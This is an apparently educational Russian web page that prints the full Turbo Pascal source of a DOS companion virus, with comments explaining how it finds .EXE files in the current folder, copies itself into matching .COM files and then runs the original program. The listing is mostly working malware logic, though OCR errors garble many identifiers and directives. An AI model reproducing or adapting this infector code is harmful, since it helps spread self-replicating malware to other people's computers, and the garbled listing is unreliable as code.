Истории о вирусах

         

Приведенный ниже листинг показывает заражение файлов этим методом.


($М 2048, 0, 0}

f$A-}

<$В-"

($D-}

<$Е+1

{$F-}

{$G-}

{$!-}

f$L-(

{$N-)

{$S-}

<$V-}

{$X+}

(Используются модули DOS и System (модуль System автоматически

подключается к каждой программе при компиляции)}



Uses DOS;

Const

{Имя вируса)

VirName='Guesf;

Author='Dirty Nazi/SGWW. 4 PVT only!';

{Количество зараженных за один сеанс работы файлов}

lnfCount=2;

Var

{Для имени найденного файла)

TargetFile : PathStr;

{Для создания копии}

TargetCOM : PathStr;

(Счетчик количества заражений}

InfFiles : Byte;

Dirlnfo : SearchRec;

{Для сохранения параметров командной строки}

Parms : String;

(Для цикла For}

I: Byte;

(Поиск жертв}

procedure FindTarget;

Var

Sr : SearchRec;

{Функция возвращает True, если найденная программа уже заражена,

и False, если еще нет}

function VirusPresent: Boolean;

Var

Target : File;

begin

{Пока будем считать, что вируса здесь нет}

VirusPresent:=False;

{Пытаемся открыть файл с именем найденной программы,

но с расширением СОМ}

AssignHarget, TargetCOM);

ResetHarget, 1);

{Если не было ошибок при открытии,

программа уже инфицирована этим вирусом}

If IOResult=0 Then

begin

VirusPresent:=True;

{Открыли - закроем}

Close(Target);

end;

end;

{Собственно процедура заражения}

procedure InfectFile;

begin

{Если найденная программа еще не заражена, инфицируем ее}

If Not VirusPresent Then

begin

{С помощью командного процессора

копируем вирусный код в СОМ-файл}

Swap Vectors;

Exec(GetEnv('COMSPEC'),7C COPY /B '+ParamStr(0)+'

'+TargetCOM+' >NUL');

Swap Vectors;

(Увеличиваем на единицу счетчик инфицированных файлов}

Inc(lnfFiles);

end;

end;

begin {начало процедуры FindTarget}

(Ищем в текущем каталоге файлы по маске *.ЕХЕ

с атрибутами Archive}

FindFirstF.EXE', Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

begin

If Sr.Name=" Then Exit;

{Запоминаем имя найденного файла в переменную TargetFile}

TargetFile:=Sr.Name;

TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM';


{Вызываем процедуру заражения}

InfectFile;

{ Если заразили InfCount файлов, завершаем поиск}

If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}

FindNext(Sr);

end;

end;

{Основное тело}

begin

Parms:=' ';

{Запоминаем параметры командной строки}

If ParamCount <> 0 Then

For l:=1 To ParamCount Do

Parms:=Parms+' '+ParamStr(l);

{Ищем жертвы и заражаем их}

FindTarget;

TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'.EXE';

(Ищем файл с именем стартового файла, но с расширением ЕХЕ}

FindFirst(TargetFile, AnyRle, Dirlnfo);

{Если такой файл найден, запускаем его на выполнение)

If DosError=0 Then

begin

Swap Vectors;

Exec(GetEnv('COMSPEC'),7C '+TargetFile+Parms);

Swap Vectors;

end Else

{Если файл не найден, выходим,

не внося в программу изменений)

begin

WriteLn(#13#10, VirName, ' by '.Author);

WriteLnCKaKoe-нибудь сообщение');

end;

end.


Содержание раздела







Forekc.ru
Рефераты, дипломы, курсовые, выпускные и квалификационные работы, диссертации, учебники, учебные пособия, лекции, методические пособия и рекомендации, программы и курсы обучения, публикации из профильных изданий